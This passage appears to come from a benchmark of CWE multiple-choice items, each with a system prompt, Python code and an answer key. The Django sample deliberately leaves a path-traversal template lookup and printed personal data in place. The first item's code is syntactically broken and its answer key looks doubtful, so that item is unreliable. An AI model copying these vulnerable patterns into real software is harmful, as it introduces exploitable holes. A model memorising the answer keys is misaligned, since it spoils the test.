print('***Bem vindo ao jogo da Forca!***')
print('*********************************')

    palavra_secreta = 'banana' 
              


    print('Fim do jogo')
    certou = False
    enforcou= False

   while(not acertou and not errou):
        chute = input('Qual letra?')

        posicao = 0
        for letra in palavra_secreta:
            if (chute == letra):
                print('Encontrei a letra {} na posição {}'.format(letra, index))
            posicao = posicao + 1  

        print('Jogando...')
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-312: Cleartext Storage of Sensitive Information
  B) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  C) CWE-94: Improper Control of Generation of Code ('Code Injection')
  D) CWE-209: Generation of Error Message Containing Sensitive Information
  E) CWE-116: Improper Encoding or Escaping of Output
  F) CWE-611: Improper Restriction of XML External Entity Reference
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# greeting.py
#
# Demonstration of the pyparsing module, on the prototypical "Hello, World!"
# example
#
# Copyright 2003, 2019 by Paul McGuire
#
import pyparsing as pp
import sys
from jinja2 import Template, Environment
from collections import OrderedDict

# define grammar
singleLineComment = "#" + pp.restOfLine
identifier = pp.Word( pp.alphas, pp.alphanums + "_").setName("identifier")
attr = pp.Group(identifier + pp.Literal("=>").suppress() + pp.QuotedString(quoteChar="'", escChar="\\"))
entry = pp.Dict(pp.Group(pp.Literal('{').suppress() + pp.delimitedList(attr) + pp.Literal('}').suppress())).setName("entry")
bnf = pp.Literal('[').suppress() + (pp.delimitedList(entry)) + pp.Optional(pp.Literal(',').suppress()) + pp.Literal(']').suppress()
bnf.ignore(singleLineComment)

env = Environment(trim_blocks=True)
tmpl = env.from_string(open(sys.argv[1], "r").read())

entries = [ dict([(x[0], x[1]) for x in entry]) for entry in bnf.parseFile( sys.argv[2] )]
entries = OrderedDict(sorted(dict([(x["typname"], x) for x in entries]).items()))
print (tmpl.render(src=sys.argv[2], entries=entries))

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-918: Server-Side Request Forgery (SSRF)
  B) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  C) CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  D) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  E) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from django.shortcuts import render
from models import *
from forms import *

# Create your views here.
def homepage(request):
    # get top five blogs here
    latest_article = Article.objects.order_by('-article_published_time')[:5]
    page_name = 'ME_KUN_HAN'
    context = {'latest_article': latest_article, 'page_name':page_name}
    return render(request, 'blog/index.html', context)


def page_list(request, page_list_num):
    # get the blog begin with blog_begin_num
    i_page_num = int(page_list_num)
    list_article = Article.objects.order_by('-article_published_time')[(i_page_num - 1) * 2:(i_page_num - 1) * 2 + 2]
    # get the number of all pages.
    # PS: the max size of blogs in one page is 5
    if i_page_num < 2:
        previous = 1
    else:
        previous = i_page_num - 1

    count = Article.objects.all().count()
    print("the i_page_num is ", i_page_num, " the article's count is ", count)
    if i_page_num * 2 >= count:
        next_page = i_page_num
    else:
        next_page = i_page_num + 1
    list_page = [previous, next_page, count]
    context = {
        'list_article': list_article,
        'list_page': list_page,
    }
    return render(request, 'blog/pagelist.html', context)


def article_page(request, article_file):
    # get comments here 
    return render(request, 'blog/BlogPages/' + article_file + '.html')


def leave_message(request):
    if request.method == 'POST':
        contact_message = ContactMeMessage(request.POST)
        if contact_message.is_valid():
            print('the contact message is valid')
            name = request.POST['customer_name']
            email = request.POST['email_address']
            phone = request.POST['phone_number']
            message = request.POST['message']
            print(name, email, phone, message)
    return render(request, 'blog/leave_message_result.html')


# static files
def aboutMe(request):
    return render(request, 'blog/about.html')


def contact(request):
    return render(request, 'blog/contact.html')


def player(request):
    return render(request, 'blog/player.html')

```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) leave_message
  B) page_list
  C) contact
  D) article_page
Answer: A